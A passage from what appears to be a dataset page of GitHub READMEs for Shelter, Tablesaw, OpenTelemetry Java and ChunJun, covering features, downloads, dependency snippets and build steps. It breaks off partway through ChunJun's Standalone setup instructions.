Datasets:

h1alexbel

/

github-readmes

like 1

PeterCxy/Shelter

SThis repository is a mirror of https://gitea.angry.im/PeterCxy/Shelter

2018-08-20T09:55:06Z

Shelter === Shelter is a Free and Open-Source (FOSS) app that leverages the "Work Profile" feature of Android to provide an isolated space that you can install or clone apps into. Downloads === - [F-Droid](https://f-droid.org/app/net.typeblog.shelter) (Signed by F-Droid) - Custom F-Droid Repository (Signed by PeterCxy, contains latest development versions): - [Click here](fdroidrepos://fdroid.typeblog.net?fingerprint=1A7E446C491C80BC2F83844A26387887990F97F2F379AE7B109679FEAE3DBC8C) to add from your phone - Or scan the following QR-code:  - Or setup manually: - Url: https://fdroid.typeblog.net - Fingerprint: `1A 7E 44 6C 49 1C 80 BC 2F 83 84 4A 26 38 78 87 99 0F 97 F2 F3 79 AE 7B 10 96 79 FE AE 3D BC 8C` You cannot switch between versions listed above that have different signature without uninstalling Shelter first. Features === - Installing apps inside a work profile for isolation - "Freeze" apps inside the work profile to prevent them from running or being woken up when you are not actively using them - Installing two copies of the same app on the same device Discussion & Support === - [Mailing List](https://lists.sr.ht/~petercxy/shelter) - Matrix Chat Room: #shelter:neo.angry.im __The GitHub Issue list and pull requests are not checked regularly. Please use the mailing list instead.__ Caveats & Known Issues === - Some caveats and known issues are discussed during the setup process of Shelter. __Please read through text in the setup wizard carefully__. - Shelter is only as safe as the Work Profile implementation of the Android OS you are using. For details, see <https://support.google.com/work/android/answer/6191949?hl=en> State of the Project, Feature Requests, etc. === Since Shelter simply makes use of the Work Profile APIs exposed by Android, there is a limited set of features that are possible to implement via the app. As we do not intend on leveraging (or "abusing") adb privileges, the features of Shelter can only be a strict subset of the exposed, unprivileged APIs. As a result, we do not intend on adding a lot of new features to Shelter going forward, unless there is to be big changes in the capabilities of work profile APIs. Shelter is currently in an effective **maintenance mode**. Nevertheless, the author is still committed to regularly **adapting Shelter to all new Android versions as soon as possible after they are released** -- this includes upgrading the target SDK level, adapting to any new features or restrictions introduced by the new Android version, updating all dependencies, and so on. The author still relies on Shelter for his daily life, so Shelter will **not** become abandonware in the forseeable future. Contributing === - [Weblate](https://weblate.typeblog.net/projects/shelter/shelter/) for contributing translations - Sponsor me on [Patreon](https://www.patreon.com/PeterCxy) <a href="http://weblate.typeblog.net/engage/shelter/?utm_source=widget"> <img src="http://weblate.typeblog.net/widgets/shelter/-/shelter/multi-auto.svg" alt="Translation status" /> </a> Uninstalling === To uninstall Shelter, please delete the work profile first in Settings -> Accounts, and then uninstall the Shelter app normally.

jtablesaw/tablesaw

Java dataframe and visualization library

2016-01-01T14:58:28Z

Tablesaw ======= [](http://www.apache.org/licenses/LICENSE-2.0) [](https://travis-ci.org/jtablesaw/tablesaw) [](https://www.codacy.com/gh/jtablesaw/tablesaw/dashboard?utm_source=github.com&amp;utm_medium=referral&amp;utm_content=jtablesaw/tablesaw&amp;utm_campaign=Badge_Grade) [](https://sonarcloud.io/dashboard?id=jtablesaw_tablesaw) ### Overview __Tablesaw__ is a dataframe and visualization library that supports loading, cleaning, transforming, filtering, and summarizing data. If you work with data in Java, it may save you time and effort. Tablesaw also supports descriptive statistics and can be used to prepare data for working with machine learning libraries like Smile, Tribuo, H20.ai, DL4J. ### Tablesaw features #### Data processing & transformation * Import data from RDBMS, Excel, CSV, TSV, JSON, HTML, or Fixed Width text files, whether they are local or remote (http, S3, etc.) * Export data to CSV, JSON, HTML or Fixed Width files. * Combine tables by appending or joining * Add and remove columns or rows * Sort, Group, Filter, Edit, Transpose, etc. * Map/Reduce operations * Handle missing values #### Visualization Tablesaw supports data visualization by providing a wrapper for the Plot.ly JavaScript plotting library. Here are a few examples of the new library in action. |  |  |  | | ------------------------------------------------------------ | ------------------------------------------------------------ | ------------------------------------------------------------ | |  |  |  | |  |  |  | |  |  |  | |  |  |  | #### Statistics * Descriptive stats: mean, min, max, median, sum, product, standard deviation, variance, percentiles, geometric mean, skewness, kurtosis, etc. ### Getting started Add tablesaw-core to your project. You can find the version number for the latest release in the [release notes](https://github.com/jtablesaw/tablesaw/releases): ```xml <dependency> <groupId>tech.tablesaw</groupId> <artifactId>tablesaw-core</artifactId> <version>VERSION_NUMBER_GOES_HERE</version> </dependency> ``` You may also add supporting projects: - `tablesaw-beakerx` - for using Tablesaw inside [BeakerX](http://beakerx.com/) - `tablesaw-excel` - for using Excel workbooks - `tablesaw-html` - for using HTML - `tablesaw-json` - for using JSON - `tablesaw-jsplot` - for creating charts External supporting projects - **outside of this organization**: - [tablesaw-parquet](https://github.com/tlabs-data/tablesaw-parquet) - for using the [Apache Parquet](https://parquet.apache.org/) file format with Tablesaw ([report issue](https://github.com/tlabs-data/tablesaw-parquet/issues)) ### Documentation and support * Start here: https://jtablesaw.github.io/tablesaw/gettingstarted * Then see our documentation page: https://jtablesaw.github.io/tablesaw/ and the [Tablesaw User Guide](https://jtablesaw.github.io/tablesaw/userguide/toc). * Ask questions, make suggestions, or tell us how you're using Tablesaw in the new GitHub [discussions forum](https://github.com/jtablesaw/tablesaw/discussions). * Feature requests and bug reports can be made on the [issues tab](https://github.com/jtablesaw/tablesaw/issues). ### Integrations #### Jupyter Notebooks * We recommend trying Tablesaw inside [Jupyter notebooks](http://arogozhnikov.github.io/2016/09/10/jupyter-features.html), which lets you experiment with Tablesaw in a more interactive manner. Get started by [installing BeakerX](http://beakerx.com/documentation) and trying [the sample Tablesaw notebook](https://github.com/twosigma/beakerx/blob/master/doc/groovy/Tablesaw.ipynb) * A second way to use Tablesaw inside [Jupyter notebooks](http://arogozhnikov.github.io/2016/09/10/jupyter-features.html) is with [IJava](https://github.com/SpencerPark/IJava), which has built-in support for Tablesaw. Gary Sharpe has written [an excellent tutorial](https://medium.com/@gmsharpe/java-jupyter-plotly-e1bbaa7f2be8) that shows you how to use Tablesaw plots. Gary has written a number of other tutorials that feature Tablesaw: * [Tidy Data with Java & Jupyter](https://medium.com/@gmsharpe/tidy-data-with-java-jupyter-b1e131b37ab0) * [Dataframes with Tablesaw — JSON](https://medium.com/@gmsharpe/dataframes-with-tablesaw-json-46dda9c8c217?source=your_stories_page----------------------------------------) * [Dataframes with Tablesaw — CSV Files](https://medium.com/@gmsharpe/importing-data-with-tablesaw-part-1-csv-files-3ac6f135cf6f?source=your_stories_page----------------------------------------) * A third approach is to use [Google Colab](https://colab.research.google.com). Again, Gary Sharpe has an excellent tutorial:[Getting Started with Dataframes using Java and Google Colab](https://medium.com/@gmsharpe/getting-started-with-tablesaw-and-google-colab-65ef0cbe280c) #### Other integrations * Eclipse uses may find [etablesaw](https://github.com/hallvard/etablesaw) useful. It provides Eclipse integration aimed at turning Eclipse into a data workbench. * You may utilize Tablesaw with many machine learning libraries. To see an example of using Tablesaw with [Smile](https://haifengl.github.io) check out [the sample Tablesaw Jupyter notebook](https://github.com/twosigma/beakerx/blob/master/doc/groovy/Tablesaw.ipynb) * You may use [quandl4j-tablesaw](http://quandl4j.org) if you'd like to load financial and economic data from [Quandl](https://www.quandl.com) into Tablesaw. This is demonstrated in [the sample Tablesaw notebook](https://github.com/twosigma/beakerx/blob/master/doc/groovy/Tablesaw.ipynb) as well

open-telemetry/opentelemetry-java

OpenTelemetry Java SDK

2019-02-26T16:43:36Z

# OpenTelemetry Java [![Continuous Build][ci-image]][ci-url] [![Coverage Status][codecov-image]][codecov-url] [![Maven Central][maven-image]][maven-url] ## Project Status See [Java status on OpenTelemetry.io][otel-java-status]. ## Getting Started If you are looking for an all-in-one, easy-to-install **auto-instrumentation javaagent**, see [opentelemetry-java-instrumentation][]. If you are looking for **examples** on how to use the OpenTelemetry API to write your own **manual instrumentation**, or how to set up the OpenTelemetry Java SDK, see [Manual instrumentation][]. Fully-functional examples are available in [opentelemetry-java-docs][]. If you are looking for generated classes for the [OpenTelemetry semantic conventions][opentelemetry-semantic-conventions], see [semantic-conventions-java][opentelemetry-semantic-conventions-java]. For a general overview of OpenTelemetry, visit [opentelemetry.io][]. Would you like to get involved with the project? Read our [contributing guide](CONTRIBUTING.md). We welcome contributions! ## Contacting us We hold regular meetings. See details at [community page](https://github.com/open-telemetry/community#java-sdk). We use [GitHub Discussions](https://github.com/open-telemetry/opentelemetry-java/discussions) for support or general questions. Feel free to drop us a line. We are also present in the [`#otel-java`](https://cloud-native.slack.com/archives/C014L2KCTE3) channel in the [CNCF slack](https://slack.cncf.io/). Please join us for more informal discussions. To report a bug, or request a new feature, please [open an issue](https://github.com/open-telemetry/opentelemetry-java/issues/new/choose). ## Overview OpenTelemetry is the merging of OpenCensus and OpenTracing into a single project. This project contains the following top level components: * [OpenTelemetry API](api/): * [stable apis](api/all) including `Tracer`, `Span`, `SpanContext`, `Meter`, and `Baggage`. * [context api](context/) The OpenTelemetry Context implementation. * [incubating apis](api/incubator) incubating APIs, including `Events`. * [extensions](extensions/) define additional API extensions not part of the core API, including propagators. * [sdk](sdk/) defines the implementation of the OpenTelemetry API. * [exporters](exporters/) trace, metric, and log exporters for the SDK. * [sdk-extensions](sdk-extensions/) defines additional SDK extensions, which are not part of the core SDK. * [OpenTracing shim](opentracing-shim/) defines a bridge layer from OpenTracing to the OpenTelemetry API. * [OpenCensus shim](opencensus-shim/) defines a bridge layer from OpenCensus to the OpenTelemetry API. This project publishes a lot of artifacts, listed in [releases](#releases). [`opentelemetry-bom`](https://mvnrepository.com/artifact/io.opentelemetry/opentelemetry-bom) (BOM = Bill of Materials) is provided to assist with synchronizing versions of dependencies. [`opentelemetry-bom-alpha`](https://mvnrepository.com/artifact/io.opentelemetry/opentelemetry-bom-alpha) provides the same function for unstable artifacts. See [published releases](#published-releases) for instructions on using the BOMs. We would love to hear from the larger community: please provide feedback proactively. ## Requirements Unless otherwise noted, all published artifacts support Java 8 or higher. See [language version compatibility](VERSIONING.md#language-version-compatibility) for complete details. **Android Disclaimer:** For compatibility reasons, [library desugaring](https://developer.android.com/studio/write/java8-support#library-desugaring) must be enabled. See [CONTRIBUTING.md](./CONTRIBUTING.md) for additional instructions for building this project for development. ### Note about extensions Both API and SDK extensions consist of various additional components which are excluded from the core artifacts to keep them from growing too large. We still aim to provide the same level of quality and guarantee for them as for the core components. Please don't hesitate to use them if you find them useful. ## Project setup and contributing Please refer to the [contribution guide](CONTRIBUTING.md) on how to set up for development and contribute! ## Published Releases Published releases are available on maven central. We strongly recommend using our published BOM to keep all dependency versions in sync. ### Maven ```xml <project> <dependencyManagement> <dependencies> <dependency> <groupId>io.opentelemetry</groupId> <artifactId>opentelemetry-bom</artifactId> <version>1.38.0</version> <type>pom</type> <scope>import</scope> </dependency> </dependencies> </dependencyManagement> <dependencies> <dependency> <groupId>io.opentelemetry</groupId> <artifactId>opentelemetry-api</artifactId> </dependency> </dependencies> </project> ``` ### Gradle ```groovy dependencies { implementation platform("io.opentelemetry:opentelemetry-bom:1.38.0") implementation('io.opentelemetry:opentelemetry-api') } ``` Note that if you want to use any artifacts that have not fully stabilized yet (such as the [prometheus exporter](https://github.com/open-telemetry/opentelemetry-java/tree/main/exporters/prometheus), then you will need to add an entry for the Alpha BOM as well, e.g. ```groovy dependencies { implementation platform("io.opentelemetry:opentelemetry-bom:1.38.0") implementation platform('io.opentelemetry:opentelemetry-bom-alpha:1.38.0-alpha') implementation('io.opentelemetry:opentelemetry-api') implementation('io.opentelemetry:opentelemetry-exporter-prometheus') implementation('io.opentelemetry:opentelemetry-sdk-extension-autoconfigure') } ``` ## Snapshots Snapshots based out the `main` branch are available for `opentelemetry-api`, `opentelemetry-sdk` and the rest of the artifacts. We strongly recommend using our published BOM to keep all dependency versions in sync. ### Maven ```xml <project> <repositories> <repository> <id>oss.sonatype.org-snapshot</id> <url>https://oss.sonatype.org/content/repositories/snapshots</url> </repository> </repositories> <dependencyManagement> <dependencies> <dependency> <groupId>io.opentelemetry</groupId> <artifactId>opentelemetry-bom</artifactId> <version>1.39.0-SNAPSHOT</version> <type>pom</type> <scope>import</scope> </dependency> </dependencies> </dependencyManagement> <dependencies> <dependency> <groupId>io.opentelemetry</groupId> <artifactId>opentelemetry-api</artifactId> </dependency> </dependencies> </project> ``` ### Gradle ```groovy repositories { maven { url 'https://oss.sonatype.org/content/repositories/snapshots' } } dependencies { implementation platform("io.opentelemetry:opentelemetry-bom:1.39.0-SNAPSHOT") implementation('io.opentelemetry:opentelemetry-api') } ``` Libraries will usually only need `opentelemetry-api`, while applications will want to use the `opentelemetry-sdk` module which contains our standard implementation of the APIs. ## Gradle composite builds For opentelemetry-java developers that need to test the latest source code with another project, composite builds can be used as an alternative to `publishToMavenLocal`. This requires some setup which is explained [here](CONTRIBUTING.md#composing-builds). ## Releases See the [VERSIONING.md](VERSIONING.md) document for our policies for releases and compatibility guarantees. Check out information about the [latest release](https://github.com/open-telemetry/opentelemetry-java/releases). See the project [milestones](https://github.com/open-telemetry/opentelemetry-java/milestones) for details on upcoming releases. The dates and features described in issues and milestones are estimates, and subject to change. The following tables describe the artifacts published by this project. To take a dependency, follow the instructions in [Published Released](#published-releases) to include the BOM, and specify the dependency as follows, replacing `{{artifact-id}}` with the value from the "Artifact ID" column: ```xml <dependency> <groupId>io.opentelemetry</groupId> <artifactId>{{artifact-id}}</artifactId> </dependency> ``` ```groovy implementation('io.opentelemetry:{{artifact-id}}') ``` ### Bill of Material | Component | Description | Artifact ID | Version | Javadoc | |----------------------------------------------|----------------------------------------|---------------------------|-------------------------------------------------------------|---------| | [Bill of Materials (BOM)](./bom) | Bill of materials for stable artifacts | `opentelemetry-bom` | <!--VERSION_STABLE-->1.38.0<!--/VERSION_STABLE--> | N/A | | [Alpha Bill of Materials (BOM)](./bom-alpha) | Bill of materials for alpha artifacts | `opentelemetry-bom-alpha` | <!--VERSION_UNSTABLE-->1.38.0-alpha<!--/VERSION_UNSTABLE--> | N/A | ### API | Component | Description | Artifact ID | Version | Javadoc | |-----------------------------------|--------------------------------------------------------------------------------------|-------------------------------|---------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------| | [API](./api/all) | OpenTelemetry API, including metrics, traces, baggage, context | `opentelemetry-api` | <!--VERSION_STABLE-->1.38.0<!--/VERSION_STABLE--> | [](https://www.javadoc.io/doc/io.opentelemetry/opentelemetry-api) | | [API Incubator](./api/incubator) | API incubator, including pass through propagator, and extended tracer, and Event API | `opentelemetry-api-incubator` | <!--VERSION_STABLE-->1.38.0<!--/VERSION_STABLE--> | [](https://www.javadoc.io/doc/io.opentelemetry/opentelemetry-api-incubator) | | [Context API](./context) | OpenTelemetry context API | `opentelemetry-context` | <!--VERSION_STABLE-->1.38.0<!--/VERSION_STABLE--> | [](https://www.javadoc.io/doc/io.opentelemetry/opentelemetry-context) | ### API Extensions | Component | Description | Artifact ID | Version | Javadoc | |---------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|---------------------------------------------|-------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | [Kotlin Extension](./extensions/kotlin) | Context extension for coroutines | `opentelemetry-extension-kotlin` | <!--VERSION_STABLE-->1.38.0<!--/VERSION_STABLE--> | [](https://www.javadoc.io/doc/io.opentelemetry/opentelemetry-extension-kotlin) | | [Trace Propagators Extension](./extensions/trace-propagators) | Trace propagators, including B3, Jaeger, OT Trace | `opentelemetry-extension-trace-propagators` | <!--VERSION_STABLE-->1.38.0<!--/VERSION_STABLE--> | [](https://www.javadoc.io/doc/io.opentelemetry/opentelemetry-extension-trace-propagators) | ### SDK | Component | Description | Artifact ID | Version | Javadoc | |------------------------------|--------------------------------------------------------|-----------------------------|---------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------| | [SDK](./sdk/all) | OpenTelemetry SDK, including metrics, traces, and logs | `opentelemetry-sdk` | <!--VERSION_STABLE-->1.38.0<!--/VERSION_STABLE--> | [](https://www.javadoc.io/doc/io.opentelemetry/opentelemetry-sdk) | | [Metrics SDK](./sdk/metrics) | OpenTelemetry metrics SDK | `opentelemetry-sdk-metrics` | <!--VERSION_STABLE-->1.38.0<!--/VERSION_STABLE--> | [](https://www.javadoc.io/doc/io.opentelemetry/opentelemetry-sdk-metrics) | | [Trace SDK](./sdk/trace) | OpenTelemetry trace SDK | `opentelemetry-sdk-trace` | <!--VERSION_STABLE-->1.38.0<!--/VERSION_STABLE--> | [](https://www.javadoc.io/doc/io.opentelemetry/opentelemetry-sdk-trace) | | [Log SDK](./sdk/logs) | OpenTelemetry log SDK | `opentelemetry-sdk-logs` | <!--VERSION_STABLE-->1.38.0<!--/VERSION_STABLE--> | [](https://www.javadoc.io/doc/io.opentelemetry/opentelemetry-sdk-logs) | | [SDK Common](./sdk/common) | Shared SDK components | `opentelemetry-sdk-common` | <!--VERSION_STABLE-->1.38.0<!--/VERSION_STABLE--> | [](https://www.javadoc.io/doc/io.opentelemetry/opentelemetry-sdk-common) | | [SDK Testing](./sdk/testing) | Components for testing OpenTelemetry instrumentation | `opentelemetry-sdk-testing` | <!--VERSION_STABLE-->1.38.0<!--/VERSION_STABLE--> | [](https://www.javadoc.io/doc/io.opentelemetry/opentelemetry-sdk-testing) | ### SDK Exporters | Component | Description | Artifact ID | Version | Javadoc | |-----------------------------------------------------------------------|------------------------------------------------------------------------------|-------------------------------------------------------------------------|-------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | [OTLP Exporters](./exporters/otlp/all) | OTLP gRPC & HTTP exporters, including traces, metrics, and logs | `opentelemetry-exporter-otlp` | <!--VERSION_STABLE-->1.38.0<!--/VERSION_STABLE--> | [](https://www.javadoc.io/doc/io.opentelemetry/opentelemetry-exporter-otlp) | | [OTLP Logging Exporters](./exporters/logging-otlp) | Logging exporters in OTLP JSON encoding, including traces, metrics, and logs | `opentelemetry-exporter-logging-otlp` | <!--VERSION_STABLE-->1.38.0<!--/VERSION_STABLE--> | [](https://www.javadoc.io/doc/io.opentelemetry/opentelemetry-exporter-logging-otlp) | | [OTLP Common](./exporters/otlp/common) | Shared OTLP components (internal) | `opentelemetry-exporter-otlp-common` | <!--VERSION_STABLE-->1.38.0<!--/VERSION_STABLE--> | [](https://www.javadoc.io/doc/io.opentelemetry/opentelemetry-exporter-otlp-common) | | [Logging Exporter](./exporters/logging) | Logging exporters, including metrics, traces, and logs | `opentelemetry-exporter-logging` | <!--VERSION_STABLE-->1.38.0<!--/VERSION_STABLE--> | [](https://www.javadoc.io/doc/io.opentelemetry/opentelemetry-exporter-logging) | | [Zipkin Exporter](./exporters/zipkin) | Zipkin trace exporter | `opentelemetry-exporter-zipkin` | <!--VERSION_STABLE-->1.38.0<!--/VERSION_STABLE--> | [](https://www.javadoc.io/doc/io.opentelemetry/opentelemetry-exporter-zipkin) | | [Prometheus Exporter](./exporters/prometheus) | Prometheus metric exporter | `opentelemetry-exporter-prometheus` | <!--VERSION_UNSTABLE-->1.38.0-alpha<!--/VERSION_UNSTABLE--> | [](https://www.javadoc.io/doc/io.opentelemetry/opentelemetry-exporter-prometheus) | | [Exporter Common](./exporters/common) | Shared exporter components (internal) | `opentelemetry-exporter-common` | <!--VERSION_STABLE-->1.38.0<!--/VERSION_STABLE--> | [](https://www.javadoc.io/doc/io.opentelemetry/opentelemetry-exporter-common) | | [OkHttp Sender](./exporters/sender/okhttp) | OkHttp implementation of HttpSender (internal) | `opentelemetry-exporter-sender-okhttp` | <!--VERSION_STABLE-->1.38.0<!--/VERSION_STABLE--> | [](https://www.javadoc.io/doc/io.opentelemetry/opentelemetry-exporter-sender-okhttp) | | [JDK Sender](./exporters/sender/okhttp) | Java 11+ native HttpClient implementation of HttpSender (internal) | `opentelemetry-exporter-sender-jdk` TODO: remove `-alpha` after release | <!--VERSION_UNSTABLE-->1.38.0-alpha<!--/VERSION_UNSTABLE--> | [](https://www.javadoc.io/doc/io.opentelemetry/opentelemetry-exporter-sender-jdk) | | | [gRPC ManagedChannel Sender](./exporters/sender/grpc-managed-channel) | gRPC ManagedChannel implementation of GrpcSender (internal) | `opentelemetry-exporter-sender-grpc-managed-channel` | <!--VERSION_STABLE-->1.38.0<!--/VERSION_STABLE--> | [](https://www.javadoc.io/doc/io.opentelemetry/opentelemetry-exporter-sender-grpc-managed-channel) | | ### SDK Extensions | Component | Description | Artifact ID | Version | Javadoc | |-------------------------------------------------------------------------------|------------------------------------------------------------------------------------|-----------------------------------------------------|-------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | [SDK Autoconfigure](./sdk-extensions/autoconfigure) | Autoconfigure OpenTelemetry SDK from env vars, system properties, and SPI | `opentelemetry-sdk-extension-autoconfigure` | <!--VERSION_STABLE-->1.38.0<!--/VERSION_STABLE--> | [](https://www.javadoc.io/doc/io.opentelemetry/opentelemetry-sdk-extension-autoconfigure) | | [SDK Autoconfigure SPI](./sdk-extensions/autoconfigure-spi) | Service Provider Interface (SPI) definitions for autoconfigure | `opentelemetry-sdk-extension-autoconfigure-spi` | <!--VERSION_STABLE-->1.38.0<!--/VERSION_STABLE--> | [](https://www.javadoc.io/doc/io.opentelemetry/opentelemetry-sdk-extension-autoconfigure-spi) | | [SDK Jaeger Remote Sampler Extension](./sdk-extensions/jaeger-remote-sampler) | Sampler which obtains sampling configuration from remote Jaeger server | `opentelemetry-sdk-extension-jaeger-remote-sampler` | <!--VERSION_STABLE-->1.38.0<!--/VERSION_STABLE--> | [](https://www.javadoc.io/doc/io.opentelemetry/opentelemetry-sdk-extension-jaeger-remote-sampler) | | [SDK Incubator](./sdk-extensions/incubator) | SDK incubator, including YAML based view configuration, LeakDetectingSpanProcessor | `opentelemetry-sdk-extension-incubator` | <!--VERSION_UNSTABLE-->1.38.0-alpha<!--/VERSION_UNSTABLE--> | [](https://www.javadoc.io/doc/io.opentelemetry/opentelemetry-sdk-extension-incubator) | ### Shims | Component | Description | Artifact ID | Version | Javadoc | |----------------------------------------|--------------------------------------------------------------|----------------------------------|-------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | [OpenCensus Shim](./opencensus-shim) | Bridge opencensus metrics into the OpenTelemetry metrics SDK | `opentelemetry-opencensus-shim` | <!--VERSION_UNSTABLE-->1.38.0-alpha<!--/VERSION_UNSTABLE--> | [](https://www.javadoc.io/doc/io.opentelemetry/opentelemetry-opencensus-shim) | | [OpenTracing Shim](./opentracing-shim) | Bridge opentracing spans into the OpenTelemetry trace API | `opentelemetry-opentracing-shim` | <!--VERSION_STABLE-->1.38.0<!--/VERSION_STABLE--> | [](https://www.javadoc.io/doc/io.opentelemetry/opentelemetry-opentracing-shim) | ## Contributing See [CONTRIBUTING.md](CONTRIBUTING.md) Triagers: - [Gregor Zeitlinger](https://github.com/zeitlinger), Grafana Labs *Find more about the triager role in [community repository](https://github.com/open-telemetry/community/blob/main/community-membership.md#triager).* Approvers ([@open-telemetry/java-approvers](https://github.com/orgs/open-telemetry/teams/java-approvers)): - [Jason Plumb](https://github.com/breedx-splk), Splunk - [Josh Suereth](https://github.com/jsuereth), Google - [Lauri Tulmin](https://github.com/laurit), Splunk - [Trask Stalnaker](https://github.com/trask), Microsoft *Find more about the approver role in [community repository](https://github.com/open-telemetry/community/blob/master/community-membership.md#approver).* Maintainers ([@open-telemetry/java-maintainers](https://github.com/orgs/open-telemetry/teams/java-maintainers)): - [Jack Berg](https://github.com/jack-berg), New Relic - [John Watson](https://github.com/jkwatson), Verta.ai Emeritus: - Maintainer [Bogdan Drutu](https://github.com/BogdanDrutu) - Maintainer [Carlos Alberto](https://github.com/carlosalberto) - Approver [Mateusz Rzeszutek](https://github.com/mateuszrzeszutek) *Find more about the maintainer role in [community repository](https://github.com/open-telemetry/community/blob/master/community-membership.md#maintainer).* ### Thanks to all the people who have contributed <a href="https://github.com/open-telemetry/opentelemetry-java/graphs/contributors"> <img src="https://contrib.rocks/image?repo=open-telemetry/opentelemetry-java" /> </a> Made with [contrib.rocks](https://contrib.rocks). [ci-image]: https://github.com/open-telemetry/opentelemetry-java/workflows/Build/badge.svg [ci-url]: https://github.com/open-telemetry/opentelemetry-java/actions?query=workflow%3ABuild+branch%3Amain [codecov-image]: https://codecov.io/gh/open-telemetry/opentelemetry-java/branch/main/graph/badge.svg [codecov-url]: https://app.codecov.io/gh/open-telemetry/opentelemetry-java/branch/main/ [Manual instrumentation]: https://opentelemetry.io/docs/java/manual_instrumentation/ [maven-image]: https://maven-badges.herokuapp.com/maven-central/io.opentelemetry/opentelemetry-api/badge.svg [maven-url]: https://maven-badges.herokuapp.com/maven-central/io.opentelemetry/opentelemetry-api [opentelemetry-java-instrumentation]: https://github.com/open-telemetry/opentelemetry-java-instrumentation [opentelemetry-java-docs]: https://github.com/open-telemetry/opentelemetry-java-docs [opentelemetry-semantic-conventions]: https://opentelemetry.io/docs/specs/semconv/ [opentelemetry-semantic-conventions-java]: https://github.com/open-telemetry/semantic-conventions-java [opentelemetry.io]: https://opentelemetry.io [otel-java-status]: https://opentelemetry.io/docs/instrumentation/java/#status-and-releases

DTStack/chunjun

A data integration framework

2018-04-03T12:44:58Z

# ChunJun <p align="left"> <img src="https://img.shields.io/github/stars/DTStack/chunjun?style=social" alt="npm version" /> <img src="https://img.shields.io/github/license/DTStack/chunjun" alt="license" /> <a href="https://github.com/DTStack/chunjun/releases"><img src="https://img.shields.io/github/downloads/DTStack/chunjun/total" alt="npm downloads" /></a> <img src="https://img.shields.io/gitlab/coverage/DTStack/chunjun/master" alt="master coverage" /> </p> [](README.md) [](README_CH.md) ## Introduce ChunJun is a distributed integration framework, and currently is based on Apache Flink. It was initially known as FlinkX and renamed ChunJun on February 22, 2022. It can realize data synchronization and calculation between various heterogeneous data sources. ChunJun has been deployed and running stably in thousands of companies so far. Official website of ChunJun: https://dtstack.github.io/chunjun/ ## Features of ChunJun ChunJun abstracts different databases into reader/source plugins, writer/sink plugins and lookup plugins, and it has the following features: - Based on the real-time computing engine--Flink, and supports JSON template and SQL script configuration tasks. The SQL script is compatible with Flink SQL syntax; - Supports distributed operation, support flink-standalone, yarn-session, yarn-per job and other submission methods; - Supports Docker one-click deployment, support deploy and run on k8s; - Supports a variety of heterogeneous data sources, and supports synchronization and calculation of more than 20 data sources such as MySQL, Oracle, SQLServer, Hive, Kudu, etc. - Easy to expand, highly flexible, newly expanded data source plugins can integrate with existing data source plugins instantly, plugin developers do not need to care about the code logic of other plugins; - Not only supports full synchronization, but also supports incremental synchronization and interval training; - Not only supports offline synchronization and calculation, but also compatible with real-time scenarios; - Supports dirty data storage, and provide indicator monitoring, etc.; - Cooperate with the flink checkpoint mechanism to achieve breakpoint resuming, task disaster recovery; - Not only supports synchronizing DML data, but also supports DDL synchronization, like 'CREATE TABLE', 'ALTER COLUMN', etc.; ## Build And Compilation ### Get the code Use the git to clone the code of ChunJun ```shell git clone https://github.com/DTStack/chunjun.git ``` ### build Execute the command in the project directory. ```shell ./mvnw clean package ``` Or execute ```shell sh build/build.sh ``` ### Common problem #### Compiling module 'ChunJun-core' then throws 'Failed to read artifact descriptor for com.google.errorprone:javac-shaded' Error message： ```java [ERROR]Failed to execute goal com.diffplug.spotless:spotless-maven-plugin:2.4.2:check(spotless-check)on project chunjun-core: Execution spotless-check of goal com.diffplug.spotless:spotless-maven-plugin:2.4.2:check failed:Unable to resolve dependencies: Failed to collect dependencies at com.google.googlejavaformat:google-java-format:jar:1.7->com.google.errorprone:javac-shaded:jar:9+181-r4173-1: Failed to read artifact descriptor for com.google.errorprone:javac-shaded:jar:9+181-r4173-1:Could not transfer artifact com.google.errorprone:javac-shaded:pom:9+181-r4173-1 from/to aliyunmaven(https://maven.aliyun.com/repository/public): Access denied to:https://maven.aliyun.com/repository/public/com/google/errorprone/javac-shaded/9+181-r4173-1/javac-shaded-9+181-r4173-1.pom -> [Help 1] ``` Solution： Download the 'javac-shaded-9+181-r4173-1.jar' from url 'https://repo1.maven.org/maven2/com/google/errorprone/javac-shaded/9+181-r4173-1/javac-shaded-9+181-r4173-1.jar', and then install locally by using command below: ```shell mvn install:install-file -DgroupId=com.google.errorprone -DartifactId=javac-shaded -Dversion=9+181-r4173-1 -Dpackaging=jar -Dfile=./jars/javac-shaded-9+181-r4173-1.jar ``` ## Quick Start The following table shows the correspondence between the branches of ChunJun and the version of flink. If the versions are not aligned, problems such as 'Serialization Exceptions', 'NoSuchMethod Exception', etc. mysql occur in tasks. | Branches | Flink version | |--------------|---------------| | master | 1.16.1 | | 1.12_release | 1.12.7 | | 1.10_release | 1.10.1 | | 1.8_release | 1.8.3 | ChunJun supports running tasks in multiple modes. Different modes depend on different environments and steps. The following are ### Local Local mode does not depend on the Flink environment and Hadoop environment, and starts a JVM process in the local environment to perform tasks. #### Steps Go to the directory of 'chunjun-dist' and execute the command below: ```shell sh bin/chunjun-local.sh -job $SCRIPT_PATH ``` The parameter of "$SCRIPT_PATH" means 'the path where the task script is located'. After execute, you can perform a task locally. note: ``` when you package in windows and run sh in linux , you need to execute command sed -i "s/\r//g" bin/*.sh to fix the '\r' problems. ``` [Reference video](https://www.bilibili.com/video/BV1mT411g7fJ?spm_id_from=333.999.0.0) ### Standalone Standalone mode depend on the Flink Standalone environment and does not depend on the Hadoop environment. #### Steps ##### 1. add jars of chunjun 1) Find directory of jars: if you build this project using maven, the directory name is 'chunjun-dist' ; if you download tar.gz file from release page, after decompression, the directory name would be like 'chunjun-assembly-${revision}-chunjun-dist'. 2) Copy jars to directory of Flink lib, command example: ```shell cp -r chunjun-dist $FLINK_HOME/lib ``` Notice: this operation should be executed in all machines of Flink cluster, otherwise some jobs will fail because of ClassNotFoundException. ##### 2. Start Flink Standalone Cluster ```shell sh $FLINK_HOME/bin/start-cluster.sh ``` After the startup is successful, the default port of Flink Web is 8081, which you can configure in the file of 'flink-conf.yaml'. We can access the 8081 port of the current 